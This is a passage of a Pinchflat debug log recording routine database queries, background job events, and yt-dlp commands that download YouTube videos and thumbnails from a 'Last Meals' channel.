shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [33] 21:26:52.415 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [33] 21:26:52.415 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:26:52.415 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:52.416 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:52.416 [debug] Running yt-dlp command for action: get_downloadable_status 21:26:52.416 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:52.416 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:52.417 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:52.417 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8jevdCS5kvc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5e/5a/5e5ac07444b62afc8a32083fcf657eca73b490154cc776494fa561a5b69c0306.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:26:55.012 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8jevdCS5kvc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5e/5a/5e5ac07444b62afc8a32083fcf657eca73b490154cc776494fa561a5b69c0306.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:26:55.012 [debug] Running yt-dlp command for action: download 21:26:55.012 [debug] QUERY OK source="settings" db=0.1ms idle=955.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:55.012 [debug] QUERY OK source="settings" db=0.0ms idle=955.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:55.012 [debug] QUERY OK source="settings" db=0.0ms idle=955.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:26:55.013 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8jevdCS5kvc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/40/51/4051c1d8c94044230ceb32866c30ab1598b3efb6f6d8d3be4cf03da12264e176.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:26:58.696 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.600 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:28.697 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:40.986 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PKwAk6CDqKc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cd/71/cd717f4e6818129b53df818c72fbd4cd5ee67592610f03cafb2db6fffeca78be.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:27:40.995 [debug] Running yt-dlp command for action: download_thumbnail 21:27:40.996 [debug] QUERY OK source="settings" db=0.0ms idle=938.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:40.996 [debug] QUERY OK source="settings" db=0.0ms idle=938.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:40.996 [debug] QUERY OK source="settings" db=0.0ms idle=938.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:40.996 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PKwAk6CDqKc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/32/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f7/c3/f7c3d0fd06805bc1e1461cc884fd7955802602d8a31b30274dba8787bd8eeb9b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:27:43.788 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PKwAk6CDqKc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/32/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f7/c3/f7c3d0fd06805bc1e1461cc884fd7955802602d8a31b30274dba8787bd8eeb9b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:27:43.788 [debug] QUERY OK db=0.0ms idle=1730.7ms begin [] 21:27:43.788 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:27:40Z], "/downloads/Last Meals/2025-06-26 Andrew Zimmern Eats His Last Meal/Andrew Zimmern Eats His Last Meal [PKwAk6CDqKc].mp4", ~U[2026-03-28 01:27:43Z], 32] 21:27:43.789 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/32/metadata.json.gz", "/config/metadata/media_items/32/thumbnail.jpg", 32, ~U[2026-03-28 01:27:43Z], ~U[2026-03-28 01:27:43Z]] 21:27:43.789 [debug] QUERY OK db=0.0ms commit [] 21:27:43.790 [debug] QUERY OK source="media_items" db=0.5ms idle=1731.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [395942431, ~U[2026-03-28 01:27:43Z], 32] 21:27:43.790 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:27:43.790 [info] {"args":{"id":32},"id":35,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":137582376,"event":"job:stop","queue_time":2265207389,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:27:43.796 [info] {"args":{"id":34},"id":37,"meta":{},"system_time":1774661263796686359,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:27:43.796 [debug] QUERY OK source="media_items" db=0.0ms idle=588.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [34] 21:27:43.796 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:27:43.797 [debug] QUERY OK source="sources" db=0.0ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:27:43.797 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:27:43.797 [debug] QUERY OK source="media_items" db=0.1ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [34] 21:27:43.797 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [34] 21:27:43.797 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:27:43.797 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:43.797 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:43.797 [debug] Running yt-dlp command for action: get_downloadable_status 21:27:43.798 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:43.798 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:43.798 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:43.798 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=AuH68t1gLw4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e3/bb/e3bb5944aa019244dd9b5a8ee573bb7aa6383faba64d92ad321cbc8d461695e4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:27:46.064 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=AuH68t1gLw4 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e3/bb/e3bb5944aa019244dd9b5a8ee573bb7aa6383faba64d92ad321cbc8d461695e4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:27:46.065 [debug] Running yt-dlp command for action: download 21:27:46.065 [debug] QUERY OK source="settings" db=0.2ms idle=1007.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:46.065 [debug] QUERY OK source="settings" db=0.0ms idle=1007.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:46.065 [debug] QUERY OK source="settings" db=0.0ms idle=1007.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:27:46.065 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=AuH68t1gLw4 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/92/ef/92ef1e12ffd65ab2d21a3c579e0084d48bcd4b3834ffe961769eb74b32c1d85b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:27:58.699 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.601 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:28.701 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:56.300 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8jevdCS5kvc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/40/51/4051c1d8c94044230ceb32866c30ab1598b3efb6f6d8d3be4cf03da12264e176.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:28:56.311 [debug] Running yt-dlp command for action: download_thumbnail 21:28:56.312 [debug] QUERY OK source="settings" db=0.0ms idle=980.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:56.312 [debug] QUERY OK source="settings" db=0.0ms idle=254.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:56.312 [debug] QUERY OK source="settings" db=0.0ms idle=254.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:28:56.312 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8jevdCS5kvc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/33/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a3/94/a3945cd1e75e8f4a8bba384ea66e0d6316d5687dac9b2a904699ca7608d92baf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:28:58.702 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:59.444 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=8jevdCS5kvc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/33/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a3/94/a3945cd1e75e8f4a8bba384ea66e0d6316d5687dac9b2a904699ca7608d92baf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:28:59.444 [debug] QUERY OK db=0.1ms idle=1387.2ms begin [] 21:28:59.445 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:28:56Z], "/downloads/Last Meals/2024-03-21 Karen Gillan Eats Her Last Meal/Karen Gillan Eats Her Last Meal [8jevdCS5kvc].mp4", ~U[2026-03-28 01:28:59Z], 33] 21:28:59.446 [debug] QUERY OK source="media_metadata" db=0.6ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/33/metadata.json.gz", "/config/metadata/media_items/33/thumbnail.jpg", 33, ~U[2026-03-28 01:28:59Z], ~U[2026-03-28 01:28:59Z]] 21:28:59.446 [debug] QUERY OK db=0.0ms commit [] 21:28:59.449 [debug] QUERY OK source="media_items" db=2.8ms idle=1389.5ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [374470002, ~U[2026-03-28 01:28:59Z], 33] 21:28:59.449 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:28:59.450 [info] {"args":{"id":33},"id":36,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":127037031,"event":"job:stop","queue_time":2349412344,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:28:59.455 [info] {"args":{"id":35},"id":38,"meta":{},"system_time":1774661339455837461,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:28:59.456 [debug] QUERY OK source="media_items" db=0.0ms idle=117.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [35] 21:28:59.456 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:28:59.456 [debug] QUERY OK source="sources" db=0.1ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:28:59.456 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:28:59.457 [debug] QUERY OK source="media_items" db=0.1ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [35] 21:28:59.457 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [35] 21:28:59.457 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", 